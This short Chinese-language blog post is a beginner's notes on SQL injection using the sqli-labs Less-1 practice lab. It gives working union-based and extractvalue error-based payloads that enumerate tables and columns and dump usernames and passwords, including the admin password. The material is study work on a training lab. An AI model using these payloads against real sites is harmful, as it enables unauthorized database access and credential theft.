sql注入學習(入門)

主要藉助sqllibs 學習了一下sql注入的大致原理。
sql大致流程都是這樣(沒試過盲注)
爆庫名(通常不需要知道,可以直接調用database()函數),爆表名,爆列名,最後爆數據
所以按照步驟來寫sql語句:
爆表名
select group_concat(table_name)
from information_schema.tables
where table_schema=database()
爆列名
select group_concat(column_name)
from information_schema.columns
where table_name=‘你想要查詢的表名’
爆數據
select group_concat(‘你爆出的列名’)
from ‘你要查詢的表’

在知道了大致流程後,我們所需要做的,就是針對服務端的防護,運用不同的繞過方式。
在非盲注的情況下
less-1(存在回顯)
源碼分析
在這裏插入圖片描述
存在單引號字符注入
1)union
使用payload: -1’ and 1=1 --+判斷出存在單引號字符型注入漏洞。
在這裏插入圖片描述
爆表名 -1’ union select 1,2,group_concat(table_name) from information_schema.tables where table_schema=database() --+
在這裏插入圖片描述
爆列名 -1’ union select 1,2,group_concat(column_name) from information_schema.columns where table_name=‘users’ --+
在這裏插入圖片描述
爆數據 -1’ union select 1,2,group_concat(username,0x3a,password) from users --+
在這裏插入圖片描述
2)報錯型
使用extractvalue模板
-1’ and extractvalue(1,concat(0x7e,(select group_concat(table_name) from information_schema.tables where table_schema=database())))–+
在這裏插入圖片描述
-1’ and extractvalue(1,concat(0x7e,(select column_name from information_schema.columns%20 where table_name=‘users’%20%20 limit 1,1)))–+
因爲extractvalue限定了輸出字符數量和不能超過一行,所以我們可以通過limit逐個將列名輸出
在這裏插入圖片描述
-1’ and extractvalue(1,concat(0x7e,(select password from users where username=‘admin’ )))–+
在這裏插入圖片描述
盲注,主要基於bool和基於時間。
以後有時間再補充吧~~

發表評論
所有評論
還沒有人評論,想成為第一個評論的人麼? 請在上方評論欄輸入並且點擊發布.
相關文章